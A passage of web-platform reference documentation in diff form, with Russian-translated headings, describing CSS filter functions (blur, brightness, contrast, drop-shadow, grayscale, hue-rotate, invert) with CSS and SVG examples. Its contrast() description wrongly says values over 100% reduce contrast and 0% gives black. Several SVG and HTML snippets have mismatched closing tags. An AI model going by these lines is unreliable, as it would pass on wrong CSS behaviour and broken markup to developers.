+<p>Applies a Gaussian blur to the input image. The value of ‘radius’ defines the value of the standard deviation to the Gaussian function, or how many pixels on the screen blend into each other, so a larger value will create more blur. If no parameter is provided, then a value <code>0</code> is used. The parameter is specified as a CSS length, but does not accept percentage values.</p>
+
+<pre class="brush: css">filter: blur(5px)
+</pre>
+
+<div id="blur_example" style="display: none;">
+<pre class="brush: html">  &lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg id="img3" viewbox="0 0 233 176"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%" &gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3710/Test_Form_2.jpeg" filter="url(#svgBlur)" x="5%" y="5%" width="212px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:blur(5px);
+  -webkit-filter:blur(5px);
+  -o-filter:blur(5px);
+  -ms-filter:blur(5px);
+  filter:blur(5px); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height: 100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('blur_example','100%','236px','')}}</p>
+
+<h3 id="brightness_яркость"><code>brightness() [яркость]</code></h3>
+
+<p>Applies a linear multiplier to input image, making it appear more or less bright. A value of <code>0%</code> will create an image that is completely black. A value of <code>100%</code> leaves the input unchanged. Other values are linear multipliers on the effect. Values of an amount over <code>100%</code> are allowed, providing brighter results. If the ‘amount’ parameter is missing, a value of <code>1</code> is used.</p>
+
+<pre class="brush: css">filter: brightness(0.5)</pre>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="[amount]"/&gt;
+        &lt;feFuncG type="linear" slope="[amount]"/&gt;
+        &lt;feFuncB type="linear" slope="[amount]"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="brightness_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 286 217"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="2"/&gt;
+        &lt;feFuncG type="linear" slope="2"/&gt;
+        &lt;feFuncB type="linear" slope="2"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3708/Test_Form.jpg" filter="url(#brightness)" width="286px" height="217px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:brightness(2);
+  -webkit-filter:brightness(2);
+  -o-filter:brightness(2);
+  -ms-filter:brightness(2);
+  filter:brightness(2); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height:100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('brightness_example','100%','231px','')}}</p>
+
+<h3 id="contrast_контраст"><code>contrast() [контраст]</code></h3>
+
+<p>Adjusts the contrast of the input. A value of <code>0%</code> will create an image that is completely black. A value of <code>100%</code> leaves the input unchanged. Values of amount over <code>100%</code> are allowed, providing results with less contrast. If the ‘amount’ parameter is missing, a value of <code>1</code> is used.</p>
+
+<pre class="brush: css">filter: contrast(200%)
+</pre>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<div id="contrast_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpeg" id="img1" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpg" id="img2" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 240 151"&gt;
+ &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncG type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncB type="linear" slope="2" intercept="-0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3712/Test_Form_3.jpeg" filter="url(#contrast)" width="240px" height="151px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:contrast(200%);
+  -webkit-filter:contrast(200%);
+  -o-filter:contrast(200%);
+  -ms-filter:contrast(200%);
+  filter:contrast(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('contrast_example','100%','203px','')}}</p>
+
+<h3 id="drop-shadow_тень"><code>drop-shadow() [тень]</code></h3>
+
+<p>Applies a drop shadow effect to the input image. A drop shadow is effectively a blurred, offset version of the input image's alpha mask drawn in a particular color, composited below the image. The function accepts a parameter of type &lt;shadow&gt; (defined in CSS3 Backgrounds), with the exception that the ‘inset’ keyword is not allowed. This function is similar to the more established {{cssxref("box-shadow")}} property; the difference is that with filters, some browsers provide hardware acceleration for better performance. The parameters of the <code>&lt;shadow&gt;</code> parameter are as follows.</p>
+
+<dl>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code> <small>(required)</small></dt>
+ <dd>These are two {{cssxref("&lt;length&gt;")}} values to set the shadow offset. <code>&lt;offset-x&gt;</code> specifies the horizontal distance. Negative values place the shadow to the left of the element. <code>&lt;offset-y&gt;</code> specifies the vertical distance. Negative values place the shadow above the element. See {{cssxref("&lt;length&gt;")}} for possible units.<br>
+ If both values are <code>0</code>, the shadow is placed behind the element (and may generate a blur effect if <code>&lt;blur-radius&gt;</code> and/or <code>&lt;spread-radius&gt;</code> is set).</dd>
+ <dt><code>&lt;blur-radius&gt;</code> <small>(optional)</small></dt>
+ <dd>This is a third {{cssxref("&lt;length&gt;")}} value. The larger this value, the bigger the blur, so the shadow becomes bigger and lighter. Negative values are not allowed. If not specified, it will be <code>0</code> (the shadow's edge is sharp).</dd>
+ <dt><code>&lt;spread-radius&gt;</code> <small>(optional)</small></dt>
+ <dd>This is a fourth {{cssxref("&lt;length&gt;")}} value. Positive values will cause the shadow to expand and grow bigger, and negative values will cause the shadow to shrink. If not specified, it will be <code>0</code> (the shadow will be the same size as the element). <br>
+ Note: Webkit, and maybe other browsers, do not support this 4th length; it will not render if added.</dd>
+ <dt><code>&lt;color&gt;</code> <small>(optional)</small></dt>
+ <dd>See {{cssxref("&lt;color&gt;")}} values for possible keywords and notations. If not specified, the color depends on the browser. In Gecko (Firefox), Presto (Opera) and Trident (Internet Explorer), the value of the {{cssxref("color")}} property is used. On the other hand, WebKit's shadow is transparent and therefore useless if <code>&lt;color&gt;</code> is omitted.</dd>
+</dl>
+
+<pre class="brush: css">filter: drop-shadow(16px 16px 10px black)</pre>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/&gt;
+    &lt;feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/&gt;
+    &lt;feFlood flood-color="[color]"/&gt;
+    &lt;feComposite in2="offsetblur" operator="in"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<div id="shadow_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpeg" id="img1" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpg" id="img2" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="5"/&gt;
+    &lt;feOffset dx="16" dy="16"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3714/Test_Form_4.jpeg" filter="url(#drop-shadow)" width="213px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4_s.jpg" id="img4" class="internal default" src="/files/3715/Test_Form_4_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Original image" id="img11" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Live example" id="img12" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="svg-container"&gt;
+          &lt;svg xmlns="http://www.w3.org/2000/svg" id="img13" viewbox="0 0 239 187"&gt;
+            &lt;filter id="drop-shadow2"&gt;
+              &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4"/&gt;
+              &lt;feOffset dx="8" dy="10"/&gt;
+              &lt;feMerge&gt;
+                &lt;feMergeNode/&gt;
+                &lt;feMergeNode in="SourceGraphic"/&gt;
+              &lt;/feMerge&gt;
+            &lt;/filter&gt;
+            &lt;image xlink:href="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png<span style="font-size: 1rem;">" filter="url(#drop-shadow2)" width="213px" height="161px" /&gt;</span>
+          &lt;/svg&gt;
+        &lt;div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border drop shadow - Static example" id="img14" class="internal default" src="/files/8469/Test_Form_4_irregular-shape_opacity-gradient_drop-shadow.png" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(16px 16px 10px black);
+  -webkit-filter: drop-shadow(16px 16px 10px black);
+  -o-filter: drop-shadow(16px 16px 10px black);
+  -ms-filter: drop-shadow(16px 16px 10px black);
+  filter: drop-shadow(16px 16px 10px black);
+}
+#img12 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -webkit-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -o-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -ms-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+#irregular-shape {
+  width: 64%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3, #img13 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('shadow_example','100%','300px','')}}</p>
+
+<h3 id="grayscale_оттенки_серого"><code>grayscale() [оттенки серого]</code></h3>
+
+<p>Converts the input image to grayscale. The value of ‘amount’ defines the proportion of the conversion. A value of <code>100%</code> is completely grayscale. A value of <code>0%</code> leaves the input unchanged. Values between <code>0%</code> and <code>100%</code> are linear multipliers on the effect. If the ‘amount’ parameter is missing, a value of <code>0</code> is used.</p>
+
+<pre class="brush: css">filter: grayscale(100%)</pre>
+
+<div id="grayscale_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpeg" id="img1" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpg" id="img2" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 184"&gt;
+ &lt;filter id="grayscale"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0 0 0 1 0"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3716/Test_Form_5.jpeg" filter="url(#grayscale)" width="276px" height="184px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5_s.jpg" id="img4" class="internal default" src="/files/3717/Test_Form_5_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:grayscale(100%);
+  -webkit-filter:grayscale(100%);
+  -o-filter:grayscale(100%);
+  -ms-filter:grayscale(100%);
+  filter:grayscale(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('grayscale_example','100%','209px','')}}</p>
+
+<h3 id="hue-rotate_изменение_оттенка"><code>hue-rotate() [изменение оттенка]</code></h3>
+
+<p>Applies a hue rotation on the input image. The value of ‘<code class="property">angle</code>’ defines the number of degrees around the color circle the input samples will be adjusted. A value of <code>0deg </code>leaves the input unchanged. If the ‘<code class="property">angle</code>’ parameter is missing, a value of <code>0deg</code> is used. Though there is no maximum value, the effect of values above <code>360deg</code> wraps around.</p>
+
+<pre class="brush: css">filter: hue-rotate(90deg)</pre>
+
+<div id="huerotate_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpeg" id="img1" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpg" id="img2" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 266 190"&gt;
+ &lt;filter id="hue-rotate"&gt;
+    &lt;feColorMatrix type="hueRotate"
+               values="90"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3718/Test_Form_6.jpeg" filter="url(#hue-rotate)" width="266px" height="190px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6_s.jpg" id="img4" class="internal default" src="/files/3719/Test_Form_6_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:hue-rotate(90deg);
+  -webkit-filter:hue-rotate(90deg);
+  -o-filter:hue-rotate(90deg);
+  -ms-filter:hue-rotate(90deg);
+  filter:hue-rotate(90deg); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgHueRotate" &gt;
+    &lt;feColorMatrix type="hueRotate" values="[angle]" /&gt;
+  &lt;filter /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('huerotate_example','100%','221px','')}}</p>
+
+<h3 id="invert_инвертирование"><code>invert() [инвертирование]</code></h3>
+
+<p>Inverts the samples in the input image. The value of ‘<code class="property">amount</code>’ defines the proportion of the conversion. A value of <code>100%</code> is completely inverted. A value of <code>0%</code> leaves the input unchanged. Values between <code>0%</code> and <code>100%</code> are linear multipliers on the effect. If the ‘<code class="property">amount</code>’ parameter is missing, a value of <code>0</code> is used.</p>
+
+<pre class="brush: css">filter: invert(100%)</pre>
+
+<div id="invert_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpeg" id="img1" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpg" id="img2" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 183 276"&gt;
+ &lt;filter id="invert"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="table" tableValues="1 0"/&gt;
+        &lt;feFuncG type="table" tableValues="1 0"/&gt;
+        &lt;feFuncB type="table" tableValues="1 0"/&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3720/Test_Form_7.jpeg" filter="url(#invert)" width="183px" height="276px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7_s.jpg" id="img4" class="internal default" src="/files/3721/Test_Form_7_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: invert(100%);
+  -webkit-filter: invert(100%);
+  -o-filter: invert(100%);
+  -ms-filter: invert(100%);
+  filter: invert(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('invert_example','100%','407px','')}}</p>
+
+<h3 id="opacity_непрозрачность"><code>opacity() [непрозрачность]</code></h3>
+
